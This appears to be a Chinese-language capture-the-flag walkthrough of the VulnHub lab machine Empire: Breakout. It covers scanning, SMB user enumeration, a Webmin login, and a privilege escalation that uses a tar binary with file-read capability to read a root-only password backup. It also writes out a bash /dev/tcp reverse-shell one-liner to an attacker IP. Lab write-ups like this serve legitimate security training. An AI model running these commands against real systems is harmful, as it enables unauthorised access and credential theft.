vulnhub靶场之EMPIRE:BREAKOUT

一.环境搭建

1.靶场描述

Description
Back to the Top
Difficulty: Easy
This box was created to be an Easy box, but it can be Medium if you get lost.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
 
  

2.靶场地址

https://www.vulnhub.com/entry/empire-breakout,751
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第1张图片

3.启动靶场

vulnhub靶场之EMPIRE:BREAKOUT_第2张图片

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第3张图片

arp-scan -l
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第4张图片

靶场真实ip地址为192.168.52.134

(2)探测端口及服务

nmap -A -v -p- 192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第5张图片

这里我们不使用这个命令,这个命令看起来太麻烦了,我们使用另一个命令,更加直观

nmap -p- -sV 192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第6张图片

发现开启了80端口,APache httpd 2.4.51((Debian))
发现开启了139,445端口,Samba smbd 4.6.2
发现开启了10000,20000端口, MiniServ 1.830 (Webmin httpd)
 
  

也可以使用masscan进行探测

vulnhub靶场之EMPIRE:BREAKOUT_第7张图片

(3)web指纹识别

whatweb -v 192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第8张图片

3.渗透测试

(1)访问web服务

http://192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第9张图片

是一个apache2页面,我们查看源码,可以看到一个加密的过后的字符串,我们进行解密

vulnhub靶场之EMPIRE:BREAKOUT_第10张图片

vulnhub靶场之EMPIRE:BREAKOUT_第11张图片

.2uqPEfj3D
 
  

这应该是一个密码,先记录下来,接着我们继续查看另外两个网站

10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

vulnhub靶场之EMPIRE:BREAKOUT_第12张图片

vulnhub靶场之EMPIRE:BREAKOUT_第13张图片

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第14张图片

没有有用的信息

2)nikto扫描网站结构
nikto -h http://192.168.52.134
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第15张图片

vulnhub靶场之EMPIRE:BREAKOUT_第16张图片

但是没有什么用

3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第17张图片

没有任何信息

(3)渗透测试

1)enum4linux 收集用户

我们已经有了用户的密码,所以我们要着手寻找用户名了,由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息, 使用命令enum4linux可以收集大量的信息

Enum4linux 是一个用于枚举和收集信息的开源工具,特别是在Windows环境下进行。它设计用于与SMB/CIFS(Server Message Block/Common Internet File System)协议交互,该协议通常用于在Windows网络中共享文件和打印机。
以下是 Enum4linux 的主要功能:
用户和组枚举: Enum4linux 可以列出目标系统上的用户和组,包括一些敏感信息,如用户ID(UID)、组ID(GID)、用户描述等。
共享枚举: 它可以枚举目标系统上的共享资源,包括共享名称、共享路径和共享类型。
策略枚举: 工具可以提取目标系统的安全策略信息,包括密码策略和帐户锁定策略。
会话和会话枚举: 它可以列举活动会话,显示与系统相关的用户信息。
操作系统版本信息: Enum4linux 试图识别目标系统的操作系统版本。

enum4linux 192.168.52.134
 
  

获得了一个用户名cyber

2)登录用户名

登录一下20000端口,登录进去一看,发现左下角有一个终端的图标,点进去之后就可以运行命令了

vulnhub靶场之EMPIRE:BREAKOUT_第18张图片

vulnhub靶场之EMPIRE:BREAKOUT_第19张图片

我们可以找到第一个flag

(4)提权

我们查看权限,不是root权限,我们进行提权

image-20240115211201249

我们先反弹shell

image-20240115211424046

vulnhub靶场之EMPIRE:BREAKOUT_第20张图片

我们可以看到反弹成功

除了user.txt,还发现一个 tar 文件,查看一下文件的相关属性

image-20240115211811673

突然给这么一个可运行文件肯定是有深意的,我们看一下这个文件拥有的权限是什么

getcap tar
 
  

image-20240115212155675

getcap是一个Linux命令,用于获取文件的能力(capabilities)信息。在Linux中,能力是一种粒度更细的权限系统,用于授予进程执行特定操作的权限,而不是传统的用户和组权限模型。

发现有 cap_dac_read_search=ep 功能,能读取文件,发现它是可以读取任意文件的,有关linux setcap命令的信息,查看下面链接

https://www.cnblogs.com/iamfy/archive/2012/09/20/2694977.html
 
  

后来在 /var/backups 目录下发现了一个密码备份文件:

vulnhub靶场之EMPIRE:BREAKOUT_第21张图片

其实如果我们想在kali里面寻找文件,我们可以使用如下命令

find -name "*bak*"
 
  

image-20240115213621962

只能由root用户读取,不过之前发现 tar 可以读取任意文件,那就用 tar 读取文件

tar tar -tvf archive.tar

vulnhub靶场之EMPIRE:BREAKOUT_第22张图片

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf MS02423.tar /var/backups/.old_pass.bak
 tar -xvf MS02423.tar
 
  

image-20240115215554730

cat之后获得了root密码

image-20240115215623797

我们登录root,但是发现这里有bug

vulnhub靶场之EMPIRE:BREAKOUT_第23张图片

那么我们就反弹shell

bash -i >& /dev/tcp/192.168.52.152/666666 0>&1
 
  

vulnhub靶场之EMPIRE:BREAKOUT_第24张图片

可反弹成功,在此登录root就可以看到最终的flag了

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.enum4linux 工具的使用

10.kali反弹shell

11.tar

12.getcap

你可能感兴趣的:([,vulnhub靶机通关篇,],web安全)